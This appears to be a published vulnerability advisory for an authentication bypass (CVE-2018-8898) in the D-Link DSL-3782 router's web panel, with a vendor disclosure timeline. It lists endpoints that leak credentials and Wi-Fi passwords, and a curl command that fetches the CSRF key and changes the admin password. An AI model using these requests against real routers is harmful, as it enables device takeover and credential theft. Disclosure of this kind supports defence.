D-Link DSL-3782 Authentication Bypass

2018.05.21
Credit: Giulio Comi
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-287


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: D-Link DSL 3782 - Authentication Bypass # Vendor Homepage: https://eu.dlink.com # Version: A1_WI_20170303 || SWVer="V100R001B012" FWVer="3.10.0.24" FirmVer="TT_77616E6771696F6E67" # Category: Webapps # Exploit Author: Giulio Comi # CVE : CVE-2018-8898 # Date: 20/05/2018 # Description # The web panel of D-Link DSL 3782 version (A1_WI_20170303) does not release a token ID (e.g. a session cookie) that identifies the logged in administrator, but only relies # on a server-side timeout that lasts few minutes. # In addition, a server-side mitigation in place prompts for login credentials everytime the webroot is loaded, but does leave the application endpoints unprotected # and affected by this authentication bypass. # Therefore, after a valid login of the administrator the web panel does not distinguish valid HTTP requests from the admin and the ones that come from other users. # This way, an attacker can script an automatic routine that perform unwanted actions such as arbitrary modifications to router and SSIDs passwords and configurations. # Some of the possible actions for retrieving important information # GET http://192.168.1.1/romfile.cfg ---> retrieve the complete settings of the router (all credentials included) # GET http://192.168.1.1/cgi-bin/get/New_GUI/Settings_24.asp ---> retrieve the password for SSID of 2.4Ghz # GET http://192.168.1.1/cgi-bin/get/New_GUI/Settings_5.asp ---> retrieve the password for SSID of 5.0Ghz # GET http://192.168.1.1/cgi-bin/New_GUI/GuestZone.asp ---> retrieve the password for Guest network, if present # For POST requests that makes changes to passwords, SSIDs name and configurations, a 'sessionKey' value is used by the web application to prevent Cross-site request forgery (CSRF) attacks. # However, this value can be retrieved with this Authentication Bypass issue with the following GET request: # 'GET http://192.168.1.1/cgi-bin/get/New_GUI/get_sessionKey.asp' # For example, the below POST request allows to change the Web Interface Administrator's password: curl --data "Password=[NEW_PASSWORD_SET_BY_THE_ATTACKER]" \ --data "sessionKey=$(curl -sS http://192.168.1.1/cgi-bin/get/New_GUI/get_sessionKey.asp)" \ http://192.168.1.1/cgi-bin/New_GUI/Set/Admin.asp # Some other possible actions for altering the configurations: # POST http://192.168.1.1/cgi-bin/New_GUI/WiFi_loding.asp ---> change passwords of the SSIDs # POST http://192.168.1.1/cgi-bin/New_GUI/Set/firmware_upgrade.asp ---> upgrade firmware # POST http://192.168.1.1/cgi-bin/New_GUI/Set/reboot_wait.asp ---> reboot router # POST /cgi-bin/New_GUI/Set/config_upgrade.asp ---> upload a new configuration file ('romfile.cfg') # Note 1: Since the router misses a network segretation, a user that has access to the Guest network could also perform this attack. # Note 2: Web panels exposed to the Internet allows anonymous attacker to leverage this vulnerability and possibly takeover the router. # Note 3: Others forks of the firmware and software versions have not been tested. # Timeline # 26/03 Vendor contacted # 28/03 Vendor replied # 05/04 Vendor requested more information to track the vulnerable firmware version 'because the D-Link DSL 3782 have many forks' # 05/04 I have sent the detailed information of firmware and software version retrievable from: # - the web panel graphic ('A1_WI_20170303') # - the romfile.cfg ('SWVer="V100R001B012" FWVer="3.10.0.24" FirmVer="TT_77616E6771696F6E67"') # 20/04 requested an update, no response # 03/05 requested an update, no response # 07/05 requested an update, still no response from the security response team # 20/05 full disclosure


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